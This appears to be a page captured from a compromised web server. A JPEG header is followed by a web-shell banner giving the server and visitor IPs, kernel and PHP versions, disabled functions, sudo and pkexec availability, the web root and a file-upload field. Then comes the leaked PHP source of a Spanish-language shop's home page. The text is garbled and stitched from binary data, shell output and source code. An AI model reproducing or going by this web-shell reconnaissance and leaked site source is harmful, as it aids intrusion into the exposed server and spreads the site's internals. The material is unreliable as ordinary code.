����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.144.255.33 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/ |
Upload File : |
<?php session_start(); error_reporting(0); include('includes/config.php'); if(isset($_GET['action']) && $_GET['action']=="add"){ $id=intval($_GET['id']); if(isset($_SESSION['cart'][$id])){ $_SESSION['cart'][$id]['quantity']++; }else{ $sql_p="SELECT * FROM products WHERE id={$id}"; $query_p=mysqli_query($con,$sql_p); if(mysqli_num_rows($query_p)!=0){ $row_p=mysqli_fetch_array($query_p); $_SESSION['cart'][$row_p['id']]=array("quantity" => 1, "price" => $row_p['productPrice']); header('location:index.php'); }else{ $message="Product ID is invalid"; } } } ?> <!DOCTYPE html> <html lang="es"> <head> <!-- Meta --> <meta charset="utf-8"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="Pagina de ventas de sistemas Yusa"> <meta name="author" content="Sistemas Yusa"> <meta property="og:image" content="https://sistemasyusa.icu/logo.png" /> <meta name="keywords" content="Software, Videovigilancia, eCommerce"> <meta name="robots" content="all"> <title>Sistemas Yusa</title> <!-- Bootstrap Core CSS --> <link rel="stylesheet" href="assets/css/bootstrap.min.css"> <!-- Customizable CSS --> <link rel="stylesheet" href="assets/css/main.css"> <link rel="stylesheet" href="assets/css/green.css"> <link rel="stylesheet" href="assets/css/owl.carousel.css"> <link rel="stylesheet" href="assets/css/owl.transitions.css"> <link href="assets/css/lightbox.css" rel="stylesheet"> <link rel="stylesheet" href="assets/css/animate.min.css"> <link rel="stylesheet" href="assets/css/rateit.css"> <link rel="stylesheet" href="assets/css/bootstrap-select.min.css"> <link href="assets/css/blue.css" rel="alternate stylesheet" title="Blue color"> <link rel="stylesheet" href="assets/css/font-awesome.min.css"> <!-- Favicon --> <link rel="shortcut icon" href="assets/images/favicon.ico"> </head> <body class="cnt-home"> <!-- ============================================== HEADER ============================================== --> <header class="header-style-1"> <?php include('includes/main-header.php');?> <?php include('includes/top-header.php');?> </header> <!-- ============================================== HEADER : END ============================================== --> <div class="body-content outer-top-xs" id="top-banner-and-menu"> <div class="container"> <div class="furniture-container homepage-container"> <div class="row"> <div class="col-xs-12 col-sm-12 col-md-9 homebanner-holder"> <!-- ========================================== SECTION – HERO ========================================= --> <!-- ========================================= SECTION – HERO : END ========================================= --> <!-- ============================================== INFO BOXES ============================================== --> <div class="info-boxes wow fadeInUp"> <div class="info-boxes-inner"> <div class="row"> <div class="col-md-6 col-sm-4 col-lg-4"> <div class="info-box"> <div class="row"> <div class="col-xs-2"> <i class="icon fa fa-dollar"></i> </div> <div class="col-xs-10"> <h4 class="info-box-heading green">Garantia</h4> </div> </div> <h6 class="text">30 dias de protección al cliente, programa de afiliados.</h6> </div> </div><!-- .col --> <div class="hidden-md col-sm-4 col-lg-4"> <div class="info-box"> <div class="row"> <div class="col-xs-2"> <i class="icon fa fa-truck"></i> </div> <div class="col-xs-10"> <h4 class="info-box-heading orange">Envio gratis</h4> </div> </div> <h6 class="text">envio gratis en pedidos mayores a $.600.00</h6> </div> </div><!-- .col --> <div class="col-md-6 col-sm-4 col-lg-4"> <div class="info-box"> <div class="row"> <div class="col-xs-2"> <i class="icon fa fa-gift"></i> </div> <div class="col-xs-10"> <h4 class="info-box-heading red">Oferta Especial</h4> </div> </div> <h6 class="text">Todos los productos 20% de dscto </h6> </div> </div><!-- .col --> </div><!-- /.row --> </div><!-- /.info-boxes-inner --> </div><!-- /.info-boxes --> <!-- ============================================== INFO BOXES : END ============================================== --> </div><!-- /.homebanner-holder --> </div><!-- /.row --> <!-- ============================================== SCROLL TABS ============================================== --> <div id="product-tabs-slider" class="scroll-tabs inner-bottom-vs wow fadeInUp"> <div class="more-info-tab clearfix"> <h3 class="new-product-title pull-left">Productos Destacados</h3> <ul class="nav nav-tabs nav-tab-line pull-right" id="new-products-1"> <li class="active"><a href="#all" data-toggle="tab">Todos</a></li> <li><a href="#books" data-toggle="tab">ELECTRONICA</a></li> <li><a href="#furniture" data-toggle="tab">ALARMAS</a></li> </ul><!-- /.nav-tabs --> </div> <div class="tab-content outer-top-xs"> <div class="tab-pane in active" id="all"> <div class="product-slider"> <div class="owl-carousel home-owl-carousel custom-carousel owl-theme" data-item="4"> <?php $ret=mysqli_query($con,"select * from products ORDER BY id DESC"); while ($row=mysqli_fetch_array($ret)) { # code... ?> <div class="item item-carousel"> <div class="products"> <div class="product"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"> <img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="180" height="300" alt=""></a> </div><!-- /.image --> </div><!-- /.product-image --> <div class="product-info text-left"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="rating rateit-small"></div> <div class="description"></div> <div class="product-price"> <span class="price"> $.<?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">$.<?php echo htmlentities($row['productPriceBeforeDiscount']);?> </span> </div><!-- /.product-price --> </div><!-- /.product-info --> <div class="action"><a href="index.php?page=product&action=add&id=<?php echo $row['id']; ?>" class="lnk btn btn-primary">Agregar a carrito</a></div> </div><!-- /.product --> </div><!-- /.products --> </div><!-- /.item --> <?php } ?> </div><!-- /.home-owl-carousel --> </div><!-- /.product-slider --> </div> <div class="tab-pane" id="books">OFERTAS <div class="product-slider"> <div class="owl-carousel home-owl-carousel custom-carousel owl-theme"> <?php $ret=mysqli_query($con,"select * from products where category=4"); while ($row=mysqli_fetch_array($ret)) { # code... ?> <div class="item item-carousel"> <div class="products"> <div class="product"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"> <img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="180" height="300" alt=""></a> </div><!-- /.image --> </div><!-- /.product-image --> <div class="product-info text-left"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="rating rateit-small"></div> <div class="description"></div> <div class="product-price"> <span class="price"> $. <?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">$.<?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div><!-- /.product-price --> </div><!-- /.product-info --> <div class="action"><a href="index.php?page=product&action=add&id=<?php echo $row['id']; ?>" class="lnk btn btn-primary">Agregar a carrito</a></div> </div><!-- /.product --> </div><!-- /.products --> </div><!-- /.item --> <?php } ?> </div><!-- /.home-owl-carousel --> </div><!-- /.product-slider --> </div> <div class="tab-pane" id="furniture"> <div class="product-slider"> <div class="owl-carousel home-owl-carousel custom-carousel owl-theme"> <?php $ret=mysqli_query($con,"select * from products where category=9"); while ($row=mysqli_fetch_array($ret)) { ?> <div class="item item-carousel"> <div class="products"> <div class="product"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"> <img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="180" height="300" alt=""></a> </div> </div> <div class="product-info text-left"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="rating rateit-small"></div> <div class="description"></div> <div class="product-price"> <span class="price"> $.<?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">$.<?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div> </div> <div class="action"><a href="index.php?page=product&action=add&id=<?php echo $row['id']; ?>" class="lnk btn btn-primary">Agregar a carrito</a></div> </div> </div> </div> <?php } ?> </div> </div> </div> </div> </div> <!-- ============================================== TABS ============================================== --> <div class="sections prod-slider-small outer-top-small"> <div class="row"> <div class="col-md-6"> <section class="section"> <h3 class="section-title">LIBROS EDUCATIVOS</h3> <div class="owl-carousel homepage-owl-carousel custom-carousel outer-top-xs owl-theme" data-item="2"> <?php $ret=mysqli_query($con,"select * from products where category=3 and subCategory=15"); while ($row=mysqli_fetch_array($ret)) { ?> <div class="item item-carousel"> <div class="products"> <div class="product"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="180" height="300"></a> </div><!-- /.image --> </div><!-- /.product-image --> <div class="product-info text-left"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="rating rateit-small"></div> <div class="description"></div> <div class="product-price"> <span class="price"> $. <?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">$.<?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div> </div> <div class="action"><a href="index.php?page=product&action=add&id=<?php echo $row['id']; ?>" class="lnk btn btn-primary">Agregar a carrito</a></div> </div> </div> </div> <?php }?> </div> </section> </div> <div class="col-md-6"> <section class="section"> <h3 class="section-title">Laptops</h3> <div class="owl-carousel homepage-owl-carousel custom-carousel outer-top-xs owl-theme" data-item="2"> <?php $ret=mysqli_query($con,"select * from products where category=4 and subCategory=6"); while ($row=mysqli_fetch_array($ret)) { ?> <div class="item item-carousel"> <div class="products"> <div class="product"> <div class="product-image"> <div class="image"> <a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><img src="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="300" height="300"></a> </div><!-- /.image --> </div><!-- /.product-image --> <div class="product-info text-left"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="rating rateit-small"></div> <div class="description"></div> <div class="product-price"> <span class="price"> $ .<?php echo htmlentities($row['productPrice']);?> </span> <span class="price-before-discount">$.<?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div> </div> <div class="action"><a href="index.php?page=product&action=add&id=<?php echo $row['id']; ?>" class="lnk btn btn-primary">Agregar a carrito</a></div> </div> </div> </div> <?php }?> </div> </section> </div> </div> </div> <!-- ============================================== TABS : END ============================================== --> <section class="section featured-product inner-xs wow fadeInUp"> <h3 class="section-title">Moda</h3> <div class="owl-carousel best-seller custom-carousel owl-theme outer-top-xs"> <?php $ret=mysqli_query($con,"select * from products where category=6"); while ($row=mysqli_fetch_array($ret)) { # code... ?> <div class="item"> <div class="products"> <div class="product"> <div class="product-micro"> <div class="row product-micro-row"> <div class="col col-xs-6"> <div class="product-image"> <div class="image"> <a href="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" data-lightbox="image-1" data-title="<?php echo htmlentities($row['productName']);?>"> <img data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="170" height="174" alt=""> <div class="zoom-overlay"></div> </a> </div><!-- /.image --> </div><!-- /.product-image --> </div><!-- /.col --> <div class="col col-xs-6"> <div class="product-info"> <h3 class="name"><a href="product-details.php?pid=<?php echo htmlentities($row['id']);?>"><?php echo htmlentities($row['productName']);?></a></h3> <div class="rating rateit-small"></div> <div class="product-price"> <span class="price"> $. <?php echo htmlentities($row['productPrice']);?> </span> </div><!-- /.product-price --> <div class="action"><a href="index.php?page=product&action=add&id=<?php echo $row['id']; ?>" class="lnk btn btn-primary">Agregar a carrito</a></div> </div> </div><!-- /.col --> </div><!-- /.product-micro-row --> </div><!-- /.product-micro --> </div> </div> </div><?php } ?> </div> </section> <div id="hero" class="homepage-slider3"> <div id="owl-main" class="owl-carousel owl-inner-nav owl-ui-sm"> <div class="full-width-slider"> <div class="item" style="background-image: url(assets/images/sliders/slider1.png);"> <!-- /.container-fluid --> </div><!-- /.item --> </div><!-- /.full-width-slider --> <div class="full-width-slider"> <div class="item full-width-slider" style="background-image: url(assets/images/sliders/slider2.png);"> </div><!-- /.item --> </div><!-- /.full-width-slider --> </div><!-- /.owl-carousel --> </div> <?php include('includes/brands-slider.php');?> </div> </div> <?php include('includes/footer.php');?> <script src="assets/js/jquery-1.11.1.min.js"></script> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/bootstrap-hover-dropdown.min.js"></script> <script src="assets/js/owl.carousel.min.js"></script> <script src="assets/js/echo.min.js"></script> <script src="assets/js/jquery.easing-1.3.min.js"></script> <script src="assets/js/bootstrap-slider.min.js"></script> <script src="assets/js/jquery.rateit.min.js"></script> <script type="text/javascript" src="assets/js/lightbox.min.js"></script> <script src="assets/js/bootstrap-select.min.js"></script> <script src="assets/js/wow.min.js"></script> <script src="assets/js/scripts.js"></script> <!-- For demo purposes – can be removed on production --> <script src="switchstylesheet/switchstylesheet.js"></script> <script> $(document).ready(function(){ $(".changecolor").switchstylesheet( { seperator:"color"} ); $('.show-theme-options').click(function(){ $(this).parent().toggleClass('open'); return false; }); }); $(window).bind("load", function() { $('.show-theme-options').delay(2000).trigger('click'); }); </script> <!-- For demo purposes – can be removed on production : End --> </body> </html>